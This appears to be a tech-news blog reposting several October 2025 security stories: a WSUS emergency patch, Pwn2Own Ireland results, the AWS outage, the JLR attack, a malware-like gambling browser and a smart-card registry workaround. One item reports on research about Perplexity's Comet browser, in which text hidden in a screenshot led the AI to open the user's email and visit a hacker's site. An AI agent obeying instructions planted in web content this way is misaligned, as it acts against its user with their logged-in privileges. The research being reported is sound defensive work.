The security flaw tracked under ID CVE-2025-59287 is affecting the Windows Server Update Services (WSUS) though Microsoft does not that servers that do not have the WSUS server role enabled are not vulnerable to this exploit. The emergency out-of-band (OOB) update, the second this month, is now out and the company notes that this is cumulative in nature too just like other Windows updates, which means admins and users will not need to install any other previous update before installing this OOB update.

Microsoft writes: "An out-of-band (OOB) update was released today, October 23, 2025, to address this issue. This is a cumulative update, so you do not need to apply any previous updates before installing this update, as it supersedes all previous updates for affected versions. If you haven’t installed the October 2025 Windows security update yet, we recommend you apply this OOB update instead."

• Windows Server 2025 (KB5070881)

• Windows Server, version 23H2 (KB5070879)

• Windows Server 2022 (KB5070884)

• Windows Server 2019 (KB5070883)

• Windows Server 2016 (KB5070882)

• Windows Server 2012 R2 (KB5070886)

• Windows Server 2012 (KB5070887)

   

Micosoft notes that these updates are downloaded and installed automatically.

Source

Hope you enjoyed this news post. Feedback welcome.

Posted Friday 24 October 2025 at 6:11 pm AEST (my time).

News posts... 2023: 5,800+ | 2024: 5,700+ | 2025 (till end of September): 4,533

RIP Matrix

At Pwn2Own Ireland 2025, competitors targeted products in eight categories, including printers, network storage systems, messaging apps, smart home devices, surveillance equipment, home networking equipment, flagship smartphones (Apple iPhone 16, Samsung Galaxy S25, and Google Pixel 9), and wearable technology (including Meta's Ray-Ban Smart Glasses and Quest 3/3S headsets).

This year's contest also expanded the attack surface to include USB port exploitation on mobile handsets, requiring researchers to hack locked devices via a physical connection. However, traditional wireless protocols like Bluetooth, Wi-Fi, and NFC (near-field communication) remained valid attack vectors.

The hacking contest, co-sponsored by Meta alongside QNAP and Synology, took place from October 21 to October 23 in Cork, Ireland.

Summoning Team won this year's edition of Pwn2Own Ireland with 22 Master of Pwn points and $187,500 earned throughout the three-day event after hacking the Samsung Galaxy S25, the Synology DiskStation DS925+ NAS, the Home Assistant Green, the Synology ActiveProtect Appliance DP320 NAS drive, the Synology CC400W camera, and the QNAP TS-453E NAS device.

Team ANHTUD secured the second position with $76,750 and 11.5 Master of Pwn points, while Team Synactiv took third place with $90,000 in prizes and 11 Master of Pwn points.

On the first day of Pwn2Own Ireland, hackers exploited 34 unique zero-days and collected $522,500 in cash awards. On the second day of the event, they demoed another 22 unique zero-day vulnerabilities for $267.500.

The highlight of the last day was the Samsung Galaxy S25 getting hacked by Interrupt Labs' team via an improper input validation bug, who earned 5 Master of Pwn points and $50,000 after also enabling location tracking and the camera in the process.

While Team Z3 was also scheduled today to demonstrate a WhatsApp Zero-Click remote code execution zero-day, eligible for a $1 million reward, they withdrew from the competition. They chose to disclose their findings privately to ZDI analysts before sharing their research with Meta's engineering team.

The Zero Day Initiative (ZDI) organizes this hacking contest to identify security vulnerabilities before threat actors can exploit them in attacks and coordinate responsible disclosure with the affected vendors. 

After the zero-days are exploited at Pwn2Own, the vendors have 90 days to release patches before Trend Micro's Zero Day Initiative publicly discloses them.

In January 2026, the ZDI will once again be at the Automotive World technology show in Tokyo, Japan, for the third Pwn2Own Automotive contest, again sponsored by Tesla

Source

Hope you enjoyed this news post. Feedback welcome.

Posted Friday 24 October 2025 at 6:06 pm AEST (my time).

News posts... 2023: 5,800+ | 2024: 5,700+ | 2025 (till end of September): 4,533

RIP Matrix

Once the world got used to large language model-powered AI chatbots, autonomous AI agents became the next big thing. This past year, video generating models have been having their time in the Sun after rapid improvements. What will be the next hot trend? So-called “world models” that can simulate physical environments?

Maybe. But for now, instead, it’s “AI browsers” designed to supercharge your web experience with machine learning features.

OpenAI is currently trying to will this trend into existence with the release of its own web browser called “ChatGPT Atlas,” which it announced Tuesday. It reeks of a company bereft of exciting ideas, sure, but if anyone can make it a thing, it would be the makers of the world’s most popular chatbot.

New research from the web browser company Brave, however, should dampen the enthusiasm for the tech. In a report released Tuesday, the company outlined glaring security flaws with Perplexity’s Comet Browser, which allows users to take screenshots on websites so a built-in AI can analyze them and answer questions. According to Brave’s findings, the screenshot feature can be a vector for an attack known as a prompt injection, in which a hacker delivers a hidden message to an AI to carry out harmful instructions. These messages can be embedded in malicious webpages designed by the hacker.

In a video demonstration, the Perplexity AI browser is asked “Who is the author?” of a screenshot of a photograph. Within seconds, the AI opens the user’s personal email and visits a website setup by a hacker. The photograph, it turned out, contained text instructions imperceptible to the human eye — but the AI extracted and followed them without distinguishing it from the user’s prompt, according to the researchers.

“The scariest aspect of these security flaws is that an AI assistant can act with the user’s authenticated privileges,” Brave warned. “An agentic browser hijacked by a malicious site can access a user’s banking, work email or other sensitive accounts.”

Prompt injection attacks aren’t new, and have been a cause for concern ever since ChatGPT exploded the popularity of LLMs.

But the stakes of the havoc they can wreak have been raised with the advent of autonomous AI models, or agents, that can control a user’s desktop unlike a typical chatbot, enabling them to browse the web and access and change files. 

Now with AI browsers on the horizon, countless more users are just a button-click away from being exposed to these risks that they’re likely oblivious to. A previous report from Brave showed how another prompt injection attack tricked Perplexity’s Comet browser into potentially giving hackers access to your bank account by showing it a single Reddit post.

“AI-powered browsers that can take actions on your behalf are powerful yet extremely risky,” the report warned. The attacks “boil down to a failure to maintain clear boundaries between trusted user input and untrusted Web content when constructing LLM prompts while allowing the browser to take powerful actions on behalf of the user.”

These are problems inherent both to LLMs and their questionable wedding with a web browser. In other words, expect these same vulnerabilities to show up in OpenAI’s AI browser, too — only with millions of more people exposed to them.

Source

The Universe Browser makes some big promises to its potential users. Its online advertisements claim it’s the “fastest browser,” that people using it will “avoid privacy leaks” and that the software will help “keep you away from danger.” However, everything likely isn’t as it seems.

The browser, which is linked to Chinese online gambling websites and is thought to have been downloaded millions of times, actually routes all internet traffic through servers in China and “covertly installs several programs that run silently in the background,” according to new findings from network security company Infoblox. The researchers say the “hidden” elements include features similar to malware—including “key logging, surreptitious connections,” and changing a device’s network connections.

Perhaps most significantly, the Infoblox researchers who collaborated with the United Nations Office on Drugs and Crime (UNODC) on the work, found links between the browser’s operation and Southeast Asia’s sprawling, multibillion-dollar cybercrime ecosystem, which has connections to money-laundering, illegal online gambling, human trafficking, and scam operations that use forced labor. The browser itself, the researchers says, is directly linked to a network around major online gambling company BBIN, which the researchers have labeled a threat group they call Vault Viper.

The researchers say the discovery of the browser—plus its suspicious and risky behavior—indicates that criminals in the region are becoming increasingly sophisticated. “These criminal groups, particularly Chinese organized crimes syndicates, are increasingly diversifying and evolving into cyber enabled fraud, pig butchering, impersonation, scams, that whole ecosystem,” says John Wojcik, a senior threat researcher at Infoblox, who also worked on the project when he was a staff member at the UNODC.

“They’re going to continue to double down, reinvest profits, develop new capabilities,” Wojcik says. “The threat is ultimately becoming more serious and concerning, and this is one example of where we see that.”

Under the Hood

The Universe Browser was first spotted—and mentioned by name—by Infoblox and UNODC at the start of this year when they began unpacking the digital systems around an online casino operation based in Cambodia, which was previously raided by law enforcement officials. Infoblox, which specializes in domain name system (DNS) management and security, detected a unique DNS fingerprint from those systems that they linked to Vault Viper, making it possible for the researchers to trace and map websites and infrastructure linked to the group.

Tens of thousands of web domains, plus various command-and-control infrastructure and registered companies, are linked to Vault Viper activity, Infoblox researchers say in a report shared with WIRED. They also say they examined hundreds of pages of corporate documents, legal records, and court filings with links to BBIN or other subsidiaries. Time and time again, they came across the Universe Browser online.

“We haven’t seen the Universe Browser advertised outside of the domains Vault Viper controls,” says Maël Le Touz, a threat researcher at Infoblox. The Infoblox report says the browser was “specifically” designed to help people in Asia—where online gambling is largely illegal—bypass restrictions. “Each of the casino websites they operate seem to contain a link and advertisement to it,” Le Touz says.

The Universe Browser itself is mostly offered for direct download from these casino websites—often being linked at the bottom of the websites, next to the logo of BBIN. There are desktop versions available for Windows, as well as an app version in Apple’s App Store. And while it is not in Google’s Play Store, there are Android APK files that allow the app to be directly installed on Android phones. The researchers say multiple parts of the Universe Browser and the code for its apps reference BBIN, and other technical details also reference the company.

The researchers reverse-engineered the Windows version of the browser. They say that while they have been unable to “verify malicious intent,” elements of the browser that they uncovered include many features that are similar to those found malware and tries to evade detection by antivirus tools. When the browser is launched, it “immediately” checks for the user's location, language, and whether it is running in a virtual machine. The app also installs two browser extensions: one of which can allow screenshots to be uploaded to domains linked to the browser.

While online gambling in China is largely illegal, the country also runs some of the world’s strictest online censorship operations and has taken action against illegal gambling rings. While the browser may most often be being used by those trying to take part in illegal gambling, it also puts their data at risk, the researchers say. “In the hands of a malicious actor—a Triad for example—this browser would serve as the perfect tool to identify wealthy players and obtain access to their machine,” the Infoblox report says.

Beyond connecting to China, running key logging, and other programs that run in the background, Infoblox’s report also says multiple functions have been disabled. “The right click, settings access and developer tools, for instance, have all been removed, while the browser itself is run with several flags disabling major security features including sandboxing, and the removal of legacy SSL protocols, greatly increasing risk when compared with typical mainstream browsers,” the company’s report says. (SSL, also known as Secure Sockets Layer, is a historic type of web encryption that protected some data transfers.)

It is unclear whether these same suspicious behaviors are present in the iOS and Android versions of the app. A Google spokesperson says the company is looking into the app and confirmed it was not available through its Google Play store. Apple did not respond to requests for comment about the app.

Connect the Dots

The web infrastructure around the Universe Browser led the researchers back to BBIN, a company that has existed since 1999. While it was originally founded in Taiwan, the company now has a large base in the Philippines.

BBIN, which also goes by the name Baoying Group and has multiple subsidies, describes itself as a “leading” supplier of iGaming software in Asia. A UNODC report from April, which links BBIN to the Universe Browser but does not formally name the company as Vault Viper, says the firm runs several hotels and casinos in Southeast Asia as well as providing “one of the largest and most successful” iGaming platforms in the region. Over the last decade, BBIN has sponsored or partnered with multiple major European soccer teams, such as Spain’s Atlético de Madrid, Germany’s Borussia Dortmund, and Dutch team AFC Ajax.

In recent years, multiple football clubs in England’s Premier League have faced scrutiny over sponsorship by Asian gambling companies—including by TGP Europe which was owned by Alvin Chau, the chairman and founder of SunCity Group who was sentenced in January 2023 to 18 years in prison after being found guilty of running illegal gambling operations. TGP Europe left the UK earlier this year after being fined by the country’s gambling regulator. Atlético Madrid, Borussia Dortmund, and AFC Ajax did not respond to WIRED requests for comment.

The iGaming industry develops online gambling software, such as virtual poker or other online casino games, that can easily be played on the web or on phones. “BBIN Baoying is officially an online casino game developer or ‘white label’ online casino platform, meaning it outsources its online gambling technology to other sites,” says Lindsey Kennedy, research director at The EyeWitness Project, which investigates corruption and organized crime. “The only languages it offers are Korean, Japanese and Chinese, which isn’t a great sign as online gambling is either banned or heavily restricted in all three countries.”

“Baoying and BBIN are what I would call a multi-billion dollar gray-area international conglomerate with deep criminal connections, backstopping and providing services to online gambling businesses, scams and cybercrime actors,” alleges Jeremy Douglas, chief of staff at the UNODC and its former regional representative for Southeast Asia. “Aside from what has been estimated at a two-thirds ownership by Alvin Chau of SunCity—arguably the biggest money launderer in the history of Asia—law enforcement partners have documented direct connections with Triad groups including the Bamboo Union, Four Seas, Tian Dao,” Douglas says of BBIN. (When Chau was sentenced in January 2023, court documents pointed to him allegedly owning a 66.67 percent share of Baoying).

BBIN did not respond to multiple requests for comment from WIRED. The firm’s primary contact email address it lists on its website bounced back, while questions sent to another email address and online contact forms, plus attempts to contact two alleged staff members on LinkedIn were not answered by the time of publication. A company Telegram account pointed WIRED to one of the contact forms that did not provide any answers.

The Presidential Anti-Organized Crime Commission (PAOCC) in the Philippines, which tackles organized and international crimes, did not respond to a request for comment from WIRED about BBIN.

Over the last decade, online crime in Southeast Asia has massively surged, driven partially by illegal online gambling and also a series of scam compounds that have been set up across Myanmar, Laos, and Cambodia. Hundreds of thousands of people from more than 60 countries have been tricked into working in these compounds, where they operate scams day and night, stealing billions of dollars from people around the world.

“Scam parks and compounds across the region generally host both online gambling and online scam operations, and the methodology used to lure individuals into opening online gambling accounts parallels that associated with pig-butchering scams,” says Jason Tower, a senior expert at the Global Initiative Against Transnational Organized Crime.

Last week, US law enforcement seized $15 billion in Bitcoin from one giant Cambodian organization, which publicly dealt in real estate but allegedly ran scam facilities in “secret.” One of the sanctioned entities, the Jin Bei Group in Cambodia, which US authorities accused of operating a series of scam compounds, also shows links to BBIN’s technology, Tower says. “There are multiple Telegram groups and casino websites indicating that BBIN partners with multiple entities inside the Jinbei casino,” Tower says, adding that one group on Telegram “posts daily advertisements indicating an official partnership between Jinbei and BBIN.”

Over recent years, multiple government press releases and news reports from countries including China and Taiwan, have alleged how BBIN’s technology has been used within illegal gambling operations and linked to cybercrime. “There are hundreds of Telegram posts aggressively advertising various illegal Chinese facing gambling sites that say they either are, or are built on, BBIN/Baoying technology, many of them by individuals claiming to operate out of scam and illegal gambling compounds, or as part of the highly illegal, trafficking-driven industry in Cambodia and Northern Myanmar,” says Kennedy from The EyeWitness Project.

While the Universe Browser has most likely been downloaded by those accessing Chinese-language gambling websites, researchers say that its development indicates how pivotal and lucrative illegal online gambling operations are and exposing their links to scamming efforts that operate across the world. “As these operations continue to scale and diversify, they are marked by growing technical expertise, professionalization, operational resilience, and the ability to function under the radar with very limited scrutiny and oversight,” Infoblox’s report concludes.

Source

Microsoft's latest write-up is available on the rather obscure Windows for Business blog, and it highlights how weaknesses in your IT infrastructure can be exploited by malicious actors. The company has emphasized that the end of support for software like Windows 10 does not only mean outdated, but it also means that your system is unprotected. Interestingly, the piece doesn't touch upon the topics of ESU or Microsoft Defender's continued protection at all.

Since it ignores ESU and Microsoft Defender altogether, the blog tries to make the case that legacy systems, which do not receive regular updates, just receive band-aid fixes, which are often not enough. Microsoft cites its own report, which indicates that 90% of ransomware attacks happen due to unmanaged devices that don't have proper security controls configured. The company has noted that outdated systems like Windows 10 create the following blind spots:

• Endpoint security gaps
• Compliance and audit risks
• Access control vulnerabilities
• Data governance breakdowns

Microsoft went on to highlight the gravity of this cybersecurity threat even further by saying that:

Hackers don’t need to break your strongest lock. They just need to wait until you leave a window open. With Windows 10 end of support on the horizon, attackers already know many businesses will lag behind. Every month of delay hands them a predictable advantage: a patchwork of unprotected systems running business-critical workloads.

 

The cost of waiting is steep. Breaches tied to unsupported infrastructure often carry higher remediation costs, longer downtime, and greater reputational damage than attacks on supported platforms. And because compliance frameworks evolve faster than legacy systems, staying put also means falling behind on requirements that affect contracts, customer trust, and even your ability to do business. 

In light of this situation, Microsoft has advised customers to audit their environments, prioritize high-risk endpoints, strengthen temporary defenses in legacy systems, and plan migrations to modern alternatives. The Redmond tech giant believes that technical decision-makers need to be proactive in this regard and address legacy systems as soon as possible.

Of course, during all of this, Microsoft has also seen fit to promote the benefits of Windows 11, which includes Intel vPro hardware, Windows Hello for Business, the Secure Future Initiative (SFI), and Copilot+ PCs, which run AI workloads locally.

Source

Hope you enjoyed this news post. Feedback welcome.

Posted Friday 24 October 2025 at 3:18 am AEST (my time).

News posts... 2023: 5,800+ | 2024: 5,700+ | 2025 (till end of September): 4,533

RIP Matrix

Today's highlight was Ken Gannon of Mobile Hacking Lab and Dimitrios Valsamaras of Summoning Team hacking the Samsung Galaxy S25 with a chain of five security flaws, earning $50,000 and 5 Master of Pwn points.

Also, while PHP Hooligans needed only a single second to hack the QNAP TS-453E NAS device, the vulnerability they exploited had already been used in the contest.

Chumy Tsai of CyCraft Technology, Le Trong Phuc and Cao Ngoc Quy of Verichains Cyber Force, and Mehdi & Matthieu of Synacktiv Team were also awarded $20,000 for breaking into the QNAP TS-453E, Synology DS925+, and the Phillips Hue Bridge.

The contestants also exploited zero-day bugs in the Canon imageCLASS MF654Cdw printer, Home Automation Green, Synology CC400W camera, Synology DS925+ NAS, Amazon Smart plug, and Lexmark CX532adwe printer.

Summoning Team is still at the top of the Master of Pwn leaderboard with 18 points after earning $167,500 during the first two days of the event.

On the first day of Pwn2Own Ireland, researchers demoed 34 unique zero-days and collected $522,500 in cash awards. After the competition ends, vendors have 90 days to release patches before ZDI publicly discloses the vulnerabilities.

On the third and last day of Pwn2Own, they will again target the Samsung Galaxy S25, as well as multiple NAS devices and printers. Eugene of Team Z3 will also attempt to demonstrate a WhatsApp Zero-Click remote code execution bug eligible for a $1 million reward. 

Meta is co-sponsoring Pwn2Own Ireland 2025 alongside Synology and QNAP, with the hacking contest taking place from October 21 to October 24 in Cork.

Pwn2Own Ireland 2025 features eight categories targeting flagship smartphones (Samsung Galaxy S25, Apple iPhone 16, and Google Pixel 9), printers, network storage systems, home networking equipment, messaging apps, smart home devices, surveillance equipment, and wearable technology (including Meta's Quest 3/3S headsets and Ray-Ban Smart Glasses).

This year's contest expands the attack vectors to include USB port exploitation on mobile handsets, requiring researchers to hack locked phones via a physical connection. However, traditional wireless protocols such as Wi-Fi, Bluetooth, and near-field communication (NFC) are still valid attack vectors.

During the Pwn2Own Ireland 2024 event, hackers earned $1,078,750 for over 70 zero-days, with Viettel Cyber Security taking home $205,000 in cash after exploiting QNAP, Sonos, and Lexmark flaws.

In January 2026, the ZDI will return to the Automotive World technology show in Tokyo for the third Pwn2Own Automotive contest,  again sponsored by Tesla

Source

Hope you enjoyed this news post. Feedback welcome.

Posted Thursday 23 October 2025 at 11:51 am AEST (my time).

News posts... 2023: 5,800+ | 2024: 5,700+ | 2025 (till end of September): 4,533

RIP Matrix

A sprawling Amazon Web Services cloud outage that began early Monday morning illustrated the fragile interdependencies of the internet as major communication, financial, health care, education, and government platforms around the world suffered disruptions. As the day wore on, AWS diagnosed and began working to correct the issue, which stemmed from the company's critical US-EAST-1 region based in northern Virginia. But the cascade of impacts took time to fully resolve.

Researchers reflecting on the incident particularly highlighted the length of the outage, which started around 3 am ET on Monday, October 20. AWS said in status updates that by 6:01 pm ET on Monday “all AWS services returned to normal operations.” The outage directly stemmed from Amazon's DynamoDB database application programming interfaces and, according to the company, “impacted” 141 other AWS services. Multiple network engineers and infrastructure specialists emphasized to WIRED that errors are understandable and inevitable for so-called “hyperscalers” like AWS, Microsoft Azure, and Google Cloud Platform, given their complexity and sheer size. But they noted, too, that this reality shouldn't simply absolve cloud providers when they have prolonged downtime.

“The word hindsight is key. It's easy to find out what went wrong after the fact, but the overall reliability of AWS shows how difficult it is to prevent every failure,” says Ira Winkler, chief information security officer of the reliability and cybersecurity firm CYE. “Ideally, this will be a lesson learned, and Amazon will implement more redundancies that would prevent a disaster like this from happening in the future—or at least prevent them staying down as long as they did.”

AWS did not respond to questions from WIRED about the long tail of the recovery for customers. An AWS spokesperson says the company plans to publish one of its “post-event summaries” about the incident.

“I don't think this was just a ‘stuff happens’ outage. I would have expected a full remediation much faster,” says Jake Williams, vice president of research and development at Hunter Strategy. “To give them their due, cascading failures aren't something that they get a lot of experience working with because they don't have outages very often. So that's to their credit. But it's really easy to get into the mindset of giving these companies a pass, and we shouldn't forget that they create this situation by actively trying to attract ever more customers to their infrastructure. Clients don't control whether they are overextending themselves or what they may have going on financially.”

The incident was caused by a familiar culprit in web outages—“domain name system” resolution issues. DNS is essentially the internet's phonebook mechanism to direct web browsers to the right servers. As a result, DNS issues are a common source of outages, because they can cause requests to fail and keep content from loading.

“Cloud computing is a marvel, but the heart of it is a never-ending list of complex services and dependencies that are always one configuration away from failure," says Mark St. John, chief operating officer and cofounder of the systems security startup Neon Cyber.

Speaking generally about hyperscalers, St. John echoed Williams' point that in exchange for the mature architecture and secure baseline of cloud platforms, customers cede control of their underlying digital infrastructure and the extent to which their cloud provider is or isn't investing in resilience and contingency planning at a given time. “At a certain scale, operational validation for service providers can't be a casualty of cost-cutting,” St. John says.

Thinking specifically about Monday's outage, one senior network architect at a major tech company, who requested anonymity because they are not authorized to speak to the press, also emphasized that the time it took for AWS to diagnose and remediate the issues was notable.

“It’s extraordinary that they don’t have more failures,” the source said, “but in this case it was weird that what was basically a core service—DynamoDB and the DNS around that—took so long to detect and get to a root cause.”

Source

Hope you enjoyed this news post. Feedback welcome.

Posted Thursday 23 October 2025 at 3:36 am AEST (my time).

News posts... 2023: 5,800+ | 2024: 5,700+ | 2025 (till end of September): 4,533

RIP Matrix

The cyberattack on Jaguar Land Rover is estimated to have cost the UK at least £1.9 billion in what is likely to be “the most economically damaging cyber event” for the country.

The month-long shutdown of internal systems and production at JLR affected over 5,000 British organisations, according to an analysis by Cyber Monitoring Centre, a non-profit organization that ranks the severity of cyber events in the UK.

“This incident looks to have been by some distance, the single most financially damaging cyber event ever to hit the UK,” said Ciaran Martin, former head of the National Cyber Security Centre and chair of CMC’s technical committee.

JLR, which is owned by India’s Tata Motors, only recently restarted partial production of its vehicles in the UK following a shutdown since the August 31 attack.

The severe impact on JLR’s suppliers prompted the UK government to intervene with a £1.5 billion loan guarantee to make it easier for the carmaker to access credit.

CMC mainly attributes the financial cost to the fall in vehicle sales and lower profits caused by the production halt, the costs to address the incident, and the impact on its supply chain and other local businesses.

Its estimate is also based on the assumption that JLR would not be able to fully restore its production until January and that the attackers did not infiltrate its so-called “operational technology,” which if they had, would take longer to resolve.

There has been a spate of ransomware attacks on UK companies and organizations in recent years, including retailers Marks and Spencer and Co-op, in addition to NHS England.

The CMC estimated in June that the financial impact of the attacks on the two retailers was between £270 million and £440 million.

The investigation into the JLR attack is being led by the National Crime Agency but few details have emerged on who was behind the incident. The CMC estimate did not include assumptions about whether JLR had paid a ransom or not.

Martin said companies tended to focus their resources on protecting themselves against data breaches since they have a legal obligation to protect customer data.

But cases like JLR underscore the increasing risks of attackers not just stealing data but destroying critical networks supporting a company’s operations, and the high costs associated with such attacks.

While state actors have not been behind recent attacks on M&S and other retailers, Martin warned that there was an increasing “geopolitical vulnerability” and risk that hostile nation states could attack UK businesses for non-financial reasons.

“It is now clear not just that criminal disruptive attacks are the worst problem in cybersecurity right now, but they’re a playbook to hostile nation states on how to attack us,” Martin said at a separate speech in London on Wednesday. “So cybersecurity has become economic security. And economic security is national security.”

Last week, the UK National Cyber Security Centre also warned that state actors continued to pose “a significant threat” to Britain and global cyber security, citing the risks posed by China, Russia, and others.

According to an annual review by NCSC, the UK had suffered 204 “nationally significant [cyber] incidents” in the 12 months to August 2025, compared with 89 in the same period a year earlier.

The term is used to describe the three most serious types of incidents as defined by UK law enforcement.

Source

Hope you enjoyed this news post. Feedback welcome.

Posted Thursday 23 October 2025 at 3:35 am AEST (my time).

News posts... 2023: 5,800+ | 2024: 5,700+ | 2025 (till end of September): 4,533

RIP Matrix

The 2025 Global Threat Intelligence Report from Mimecast reveals key trends, including the rise of smarter, AI-powered phishing and social engineering cyberattacks, and threat groups increasingly using trusted services to evade detection and reach targets. Mimecast’s analysis finds that phishing accounts for 77 percent of all attacks up from 60 percent in 2024 with attackers likely leveraging more AI tools.

“We’re seeing a clear evolution in attacker behavior in 2025, headlined by an exponential rise in AI-driven threats,” says Ranjan Singh, Mimecast chief product and technology officer. “Financial platforms, regulatory agencies, and city governments have all been targeted by profit-driven ransomware groups and highly organized, state-sponsored adversaries. Threat actors are doubling down on human-focused attacks and exploiting trusted business services as their primary means of intrusion, making employee awareness and resilient systems more essential than ever.”

Generative AI has given threat actors more power to create the perfect lure, impersonating vendors, partners, and employees. They are now able to craft convincing email chains, synthetic voices, and audio messages that can bypass detection tools.

Mimecast research shows a significant increase in social engineering attacks, including schemes like ClickFix, AI-augmented phishing, and business email compromise (BEC). These attacks are becoming increasingly sophisticated, with attackers leveraging automated conversation chains to create the illusion of legitimate communication in phishing emails.

Trusted business tools are being exploited too, platforms like Adobe Pay, DocuSign, and Salesforce are being used within attack chains, with virtual meeting room and hosting service DocSend becoming the most abused service in 2025.

Certain industries are in the firing lone too with professional education, IT software, telecommunications, real estate, and legal organizations seeing a higher volume of impersonation attacks. These sectors often have direct access to high-value targets, handle sensitive financial transactions and manage confidential client information, making them attractive to attackers.

“Cyber defense can no longer be treated solely as a technology issue,” says Mimecast chief information security officer, Leslie Nielsen. “It’s equally about people and organizational resilience. Since last year, cybercriminals have significantly increased their use of trusted services to bypass technical defenses that might otherwise block attacks. Countering these threats requires organizations to adapt by preparing employees to recognize suspicious activity and leveraging tools like AI internally to enhance both business workflows and security operations. As threat actors continue to target the human layer through deception, trust exploitation, and multichannel coordination, building awareness and resilient response capabilities becomes critical.”

The full report is available from the Mimecast site.

Source

From as early as Windows Vista, Microsoft's operating systems started shipping with an important security feature called BitLocker. It's a feature designed to protect sensitive data and information from unauthorized access through encryption.

BitLocker is enabled by default in Windows 11 when you first sign in or set up a device with a Microsoft account. Last year, the company made this change while releasing Windows 11, version 24H2.

The Windows update also made BitLocker accessible to a broad range of devices because it's less demanding in terms of hardware requirements, including Windows 11 Pro and Home. Users no longer need Hardware Security Test Interface (HSTI) or Modern Standby to access the feature.

But if the past few months are anything to go by, storage and backing up your data on the cloud are very sensitive topics. Remember when a OneDrive user was locked out of "30 years' worth of photos and work" without any support? As it happens, a user recently shared an unfortunate incident where they ended up losing access to 3TB worth of games and backups.

The user indicated that they'd noticed that their PC was a tad laggy, prompting them to reinstall Windows 11. They further indicated that they'd never enabled BitLocker before since they didn't necessarily need it. However, when they reinstalled Windows 11, two out of the six drives in the gaming PC (built on an AORUS B550 Elite AX v2 motherboard, a Ryzen 7 5700X3D CPU, 64GB of RAM, and a 12GB GeForce RTX 3060 GPU) were encrypted.

"Can't access 3TB of data! It's asking for a key but I never set one up," Toast Soup added on Reddit. "Google only gives results if your boot drive is Bitlocked, not a 😧 or E: storage drive. I ran some data recovery software but it shows zero files to recover."

"Help me Reddit. You're my only hope...," the user indicated. Perhaps more concerningly, Toast Soup admitted that they dug themselves deeper into the rabbit hole, "using every damn data retrieval program" in a bid to regain access to the encrypted drives with the games and backups. "I went to a lot of sketchy sites and downloaded torrents that I'm sure filled my PC with more spyware and viruses than I can count."

On Monday afternoon, Amazon confirmed that an outage affecting Amazon Web Services’ cloud hosting, which had impacted millions across the Internet, had been resolved.

Considered the worst outage since last year’s CrowdStrike chaos, Amazon’s outage caused “global turmoil,” Reuters reported. AWS is the world’s largest cloud provider and, therefore, the “backbone of much of the Internet,” ZDNet noted. Ultimately, more than 28 AWS services were disrupted, causing perhaps billions in damages, one analyst estimated for CNN.

Popular apps like Snapchat, Signal, and Reddit went dark. Flights got delayed. Banks and financial services went down. Massive games like Fortnite could not be accessed. Some of Amazon’s own services were hit, too, including its e-commerce platform, Alexa, and Prime Video. Ultimately, millions of businesses simply stopped operating, unable to log employees into their systems or accept payments for their goods.

“The incident highlights the complexity and fragility of the Internet, as well as how much every aspect of our work depends on the Internet to work,” Mehdi Daoudi, the CEO of an Internet performance monitoring firm called Catchpoint, told CNN. “The financial impact of this outage will easily reach into the hundreds of billions due to loss in productivity for millions of workers that cannot do their job, plus business operations that are stopped or delayed—from airlines to factories.”

Amazon’s problems originated at a US site that is its “oldest and largest for web services” and often “the default region for many AWS services,” Reuters noted. The same site has experienced two outages before in 2020 and 2021, but while the tech giant had confirmed that those prior issues had been “fully mitigated,” apparently the fixes did not ensure stability into 2025.

ZDNet noted that Amazon’s first sign of the outage was “increased error rates and latency across numerous key services” tied to its cloud database technology. Although “engineers later identified a Domain Name System (DNS) resolution problem” as the root of these issues and quickly fixed it, “other AWS services began to fail in its wake, leaving the platform still impaired” as more than two dozen AWS services shut down.

At the peak of the outage on Monday, Down Detector tracked more than 8 million reports globally from users panicked by the outage, ZDNet reported.

Ken Birman, a computer science professor at Cornell University, told Reuters that “software developers need to build better fault tolerance,” suggesting Amazon could have done more to prevent the latest outage.

“When people cut costs and cut corners to try to get an application up, and then forget that they skipped that last step and didn’t really protect against an outage, those companies are the ones who really ought to be scrutinized later,” Birman told Reuters.

For Amazon, the backlash risks hitting its bottom line hard if too many customers pivot to other cloud technology providers. Financial services firms, which may be the most risk-averse of Amazon’s customers, think the solution might be a “multi-cloud” strategy, “distributing critical workloads across two or more major providers, such as AWS, Microsoft Azure, and Google Cloud,” Forbes reported.

Source

Hope you enjoyed this news post. Feedback welcome.

Posted Wednesday 22 October 2025 at 4:37 am AEST (my time).

News posts... 2023: 5,800+ | 2024: 5,700+ | 2025 (till end of September): 4,533

RIP Matrix

This known issue impacts all Windows 10, Windows 11, and Windows Server releases, including the latest versions designated for broad deployment.

Affected users may observe various symptoms, from the inability to sign documents and failures in applications that use certificate-based authentication to smart cards not being recognized as CSP providers (Cryptographic Service Provider) in 32-bit apps.

They can also see "invalid provider type specified" and "CryptAcquireCertificatePrivateKey error." error messages.

"This issue is linked to a recent Windows security improvement to use KSP (Key Storage Provider) instead of CSP (Cryptographic Service Provider) for RSA-based smart card certificates to improve cryptography," Microsoft said.

"You can detect if your smart card will be affected by this issue if you observe the presence of Event ID 624 in the System event logs for the Smart Card Service prior to installing the October 2025 Windows security update."

As the company explained, this known issues occurs because this month's security updates are automatically enabling by default a security fix designed to address a security feature bypass vulnerability (CVE-2024-30098) in the Windows Cryptographic Services, built-in Windows service that handles security-related and cryptographic operations.

This fix is enabled by setting the DisableCapiOverrideForRSA registry key value to 1 to isolate cryptographic operations from the Smart Card implementation and block attackers from creating a SHA1 hash collision to bypass digital signatures on vulnerable systems.

Those who are experiencing authentication problems can manually resolve it by disabling the DisableCapiOverrideForRSA registry key using the following procedure:

1. Open Registry Editor. Press Win + R, type regedit, and press Enter. If prompted by User Account Control, click Yes.
2. Navigate to the subkey. Go to: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Calais.
3. Edit the key and set the value. Inside Calais, check if key DisableCapiOverrideForRSA exists. Double-click DisableCapiOverrideForRSA. In Value date, enter: 0.
4. Close and restart. Close Registry Editor. Restart the computer for changes to take effect.

However, it's important to note that you should first back up the registry before editing the Windows registry because any errors could lead to system issues.

While this will mitigate the issue, the DisableCapiOverrideForRSA registry key will be removed in April 2026, and Microsoft advised affected users to work with their application vendors to resolve the underlying problem.

Redmond fixed a similar issue that caused smartcard authentication failures on Windows 10 systems when connecting via Remote Desktop.

On Thursday, Microsoft fixed another known issue breaking IIS websites and HTTP/2 localhost (127.0.0.1) connections after installing recent Windows security updates.

The same day, the company also removed two compatibility holds preventing users from upgrading their systems to Windows 11 24H2 via Windows Update.

Source

Hope you enjoyed this news post. Feedback welcome.

Posted Tuesday 21 October 2025 at 3:57 am AEST (my time).

